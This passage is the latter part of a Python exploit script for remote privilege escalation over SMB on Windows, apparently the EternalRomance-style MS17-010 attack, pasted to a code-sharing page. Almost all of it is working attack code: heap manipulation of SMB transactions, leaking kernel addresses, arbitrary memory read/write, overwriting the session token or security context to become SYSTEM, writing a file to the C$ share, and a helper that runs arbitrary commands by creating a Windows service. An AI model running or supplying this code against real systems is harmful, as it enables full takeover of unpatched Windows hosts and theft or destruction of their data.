  631. HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
  632. NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
  633.  
  634. # Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
  635. conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
  636. wait_for_request_processed(conn)
  637.  
  638. # if the overwritten is correct, a modified transaction mid should be special_mid now.
  639. # a new transaction with special_mid should be error.
  640. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
  641. if recvPkt.getNTStatus() == 0x10002: # invalid SMB
  642. print('success controlling one transaction')
  643. success = True
  644. if 'arch' not in info:
  645. print('Target is '+tinfo['ARCH'])
  646. info['arch'] = tinfo['ARCH']
  647. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  648. break
  649. if recvPkt.getNTStatus() != 0:
  650. print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  651.  
  652. if not success:
  653. print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  654. print('!!! Write to wrong place !!!')
  655. print('the target might be crashed')
  656. return False
  657.  
  658.  
  659. # NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
  660. # This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
  661. # because of this unfreed memory chunk. I will avoid it.
  662.  
  663. # From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
  664. # transactions (do not know the address).
  665. # After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
  666. # To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
  667. # To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
  668. # On 32 bit target, we can write to any address if parameter count is 0xffffffff.
  669. # On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
  670. # are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
  671. # we also modify HIDWORD of InParameter to 0xffffffff.
  672.  
  673. print('modify parameter count to 0xffffffff to be able to write backward')
  674. conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
  675. # on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
  676. if info['arch'] == 'x64':
  677. conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
  678. wait_for_request_processed(conn)
  679.  
  680. TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
  681. PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
  682. PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
  683.  
  684. # modify paramterCount of first transaction
  685. conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
  686. if info['arch'] == 'x64':
  687. conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
  688. # restore trans2.InParameters pointer before leaking next transaction
  689. conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
  690. wait_for_request_processed(conn)
  691.  
  692. # ================================
  693. # leak transaction
  694. # ================================
  695. print('leak next transaction')
  696. # modify TRANSACTION member to leak info
  697. # function=5 (NT_TRANS_RENAME)
  698. conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
  699. # parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
  700. conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
  701.  
  702. conn.send_nt_trans_secondary(mid=special_mid)
  703. leakData = conn.recv_transaction_data(special_mid, 0x100)
  704. leakData = leakData[4:] # remove param
  705. #open('leak.dat', 'wb').write(leakData)
  706.  
  707. # check heap chunk size value in leak data
  708. if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
  709. print('chunk size is wrong')
  710. return False
  711.  
  712. # extract leak transaction data and make next transaction to be trans2
  713. leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
  714. leakTrans = leakData[leakTranOffset:]
  715. fmt = info['PTR_FMT']
  716. _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
  717. inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
  718. trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  719.  
  720. print('CONNECTION: 0x{:x}'.format(connection_addr))
  721. print('SESSION: 0x{:x}'.format(session_addr))
  722. print('FLINK: 0x{:x}'.format(flink_value))
  723. print('InData: 0x{:x}'.format(indata_value))
  724. print('MID: 0x{:x}'.format(trans2_mid))
  725.  
  726. trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
  727. trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
  728. print('TRANS1: 0x{:x}'.format(trans1_addr))
  729. print('TRANS2: 0x{:x}'.format(trans2_addr))
  730.  
  731. # ================================
  732. # modify trans struct to be used for arbitrary read/write
  733. # ================================
  734. print('modify transaction struct for arbitrary read/write')
  735. # modify
  736. # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
  737. # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
  738. # Note: HIDWORD of trans1.InParameter is still 0xffffffff
  739. TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
  740. conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
  741. wait_for_request_processed(conn)
  742.  
  743. # modify trans1.mid
  744. trans1_mid = conn.next_mid()
  745. conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
  746. wait_for_request_processed(conn)
  747.  
  748. info.update({
  749. 'connection': connection_addr,
  750. 'session': session_addr,
  751. 'trans1_mid': trans1_mid,
  752. 'trans1_addr': trans1_addr,
  753. 'trans2_mid': trans2_mid,
  754. 'trans2_addr': trans2_addr,
  755. })
  756. return True
  757.  
  758. def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
  759. SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
  760. SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
  761. SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
  762. SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
  763. # SID_SYSTEM and SID_ADMINISTRATORS must be added
  764. sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
  765. # - user has no attribute (0)
  766. # - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
  767. # - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
  768. attrs = [ 0, 0xe, 7, 7 ]
  769.  
  770. # assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
  771. # fake user and groups will be in same buffer of original one
  772. # so fake sids size must NOT be bigger than the original sids
  773. fakeUserAndGroupCount = min(userAndGroupCount, 4)
  774. fakeUserAndGroupsAddr = userAndGroupsAddr
  775.  
  776. addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
  777. fakeUserAndGroups = ''
  778. for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
  779. fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
  780. addr += len(sid)
  781. fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
  782.  
  783. return fakeUserAndGroupCount, fakeUserAndGroups
  784.  
  785.  
  786. def exploit(target, pipe_name):
  787. conn = MYSMB(target)
  788.  
  789. # set NODELAY to make exploit much faster
  790. conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  791.  
  792. info = {}
  793.  
  794. conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
  795. server_os = conn.get_server_os()
  796. print('Target OS: '+server_os)
  797. if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
  798. info['os'] = 'WIN7'
  799. info['method'] = exploit_matched_pairs
  800. elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10"):
  801. info['os'] = 'WIN8'
  802. info['method'] = exploit_matched_pairs
  803. elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
  804. info['os'] = 'WIN7'
  805. info['method'] = exploit_fish_barrel
  806. elif server_os.startswith("Windows Server 2003 "):
  807. info['os'] = 'WIN2K3'
  808. info['method'] = exploit_fish_barrel
  809. elif server_os.startswith("Windows 5.1"):
  810. info['os'] = 'WINXP'
  811. info['arch'] = 'x86'
  812. info['method'] = exploit_fish_barrel
  813. elif server_os.startswith("Windows XP "):
  814. info['os'] = 'WINXP'
  815. info['arch'] = 'x64'
  816. info['method'] = exploit_fish_barrel
  817. elif server_os.startswith("Windows 5.0"):
  818. info['os'] = 'WIN2K'
  819. info['arch'] = 'x86'
  820. info['method'] = exploit_fish_barrel
  821. else:
  822. print('This exploit does not support this target')
  823. sys.exit()
  824.  
  825. if pipe_name is None:
  826. pipe_name = find_named_pipe(conn)
  827. if pipe_name is None:
  828. print('Not found accessible named pipe')
  829. return False
  830. print('Using named pipe: '+pipe_name)
  831.  
  832. if not info['method'](conn, pipe_name, info):
  833. return False
  834.  
  835. # Now, read_data() and write_data() can be used for arbitrary read and write.
  836. # ================================
  837. # Modify this SMB session to be SYSTEM
  838. # ================================
  839. fmt = info['PTR_FMT']
  840.  
  841. print('make this SMB session to be SYSTEM')
  842. # IsNullSession = 0, IsAdmin = 1
  843. write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
  844.  
  845. # read session struct to get SecurityContext address
  846. sessionData = read_data(conn, info, info['session'], 0x100)
  847. secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
  848.  
  849. if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
  850. # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
  851. # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
  852. # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
  853.  
  854. # find the token and modify it
  855. if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
  856. pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
  857. pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
  858. else:
  859. pctxtDataAddr = secCtxAddr
  860.  
  861. tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
  862. tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
  863. print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
  864.  
  865. # copy Token data for restoration
  866. tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
  867.  
  868. userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
  869. userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
  870. print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
  871. print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
  872.  
  873. print('overwriting token UserAndGroups')
  874. # modify UserAndGroups info
  875. fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
  876. if fakeUserAndGroupCount != userAndGroupCount:
  877. write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
  878. write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
  879. else:
  880. # the target can use PsImperonateClient for impersonation (Windows 2008 and later)
  881. # copy SecurityContext for restoration
  882. secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
  883.  
  884. print('overwriting session security context')
  885. # see FAKE_SECCTX detail at top of the file
  886. write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
  887.  
  888. # ================================
  889. # do whatever we want as SYSTEM over this SMB connection
  890. # ================================
  891. try:
  892. smb_pwn(conn, info['arch'])
  893. except:
  894. pass
  895.  
  896. # restore SecurityContext/Token
  897. if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
  898. userAndGroupsOffset = userAndGroupsAddr - tokenAddr
  899. write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
  900. if fakeUserAndGroupCount != userAndGroupCount:
  901. write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
  902. else:
  903. write_data(conn, info, secCtxAddr, secCtxData)
  904.  
  905. conn.disconnect_tree(conn.get_tid())
  906. conn.logoff()
  907. conn.get_socket().close()
  908. return True
  909.  
  910.  
  911. def smb_pwn(conn, arch):
  912. smbConn = conn.get_smbconnection()
  913.  
  914. print('creating file c:\\pwned.txt on the target')
  915. tid2 = smbConn.connectTree('C$')
  916. fid2 = smbConn.createFile(tid2, '/pwned.txt')
  917. smbConn.closeFile(tid2, fid2)
  918. smbConn.disconnectTree(tid2)
  919.  
  920. #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
  921. #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
  922. # Note: there are many methods to get shell over SMB admin session
  923. # a simple method to get shell (but easily to be detected by AV) is
  924. # executing binary generated by "msfvenom -f exe-service ..."
  925.  
  926. def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
  927. with open(localSrc, 'rb') as fp:
  928. smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
  929.  
  930. # based on impacket/examples/serviceinstall.py
  931. # Note: using Windows Service to execute command same as how psexec works
  932. def service_exec(conn, cmd):
  933. import random
  934. import string
  935. from impacket.dcerpc.v5 import transport, srvs, scmr
  936.  
  937. service_name = ''.join([random.choice(string.letters) for i in range(4)])
  938.  
  939. # Setup up a DCE SMBTransport with the connection already in place
  940. rpcsvc = conn.get_dce_rpc('svcctl')
  941. rpcsvc.connect()
  942. rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
  943. svcHandle = None
  944. try:
  945. print("Opening SVCManager on %s....." % conn.get_remote_host())
  946. resp = scmr.hROpenSCManagerW(rpcsvc)
  947. svcHandle = resp['lpScHandle']
  948.  
  949. # First we try to open the service in case it exists. If it does, we remove it.
  950. try:
  951. resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
  952. except Exception as e:
  953. if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
  954. raise e # Unexpected error
  955. else:
  956. # It exists, remove it
  957. scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
  958. scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
  959.  
  960. print('Creating service %s.....' % service_name)
  961. resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
  962. serviceHandle = resp['lpServiceHandle']
  963.  
  964. if serviceHandle:
  965. # Start service
  966. try:
  967. print('Starting service %s.....' % service_name)
  968. scmr.hRStartServiceW(rpcsvc, serviceHandle)
  969. # is it really need to stop?
  970. # using command line always makes starting service fail because SetServiceStatus() does not get called
  971. #print('Stoping service %s.....' % service_name)
  972. #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
  973. except Exception as e:
  974. print(str(e))
  975.  
  976. print('Removing service %s.....' % service_name)
  977. scmr.hRDeleteService(rpcsvc, serviceHandle)
  978. scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
  979. except Exception as e:
  980. print("ServiceExec Error on: %s" % conn.get_remote_host())
  981. print(str(e))
  982. finally:
  983. if svcHandle:
  984. scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
  985.  
  986. rpcsvc.disconnect()
  987.  
  988.  
  989. if len(sys.argv) < 2:
  990. print("{} <ip> [pipe_name]".format(sys.argv[0]))
  991. sys.exit(1)
  992.  
  993. target = sys.argv[1]
  994. pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
  995.  
  996. exploit(target, pipe_name)
  997. print('Done')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement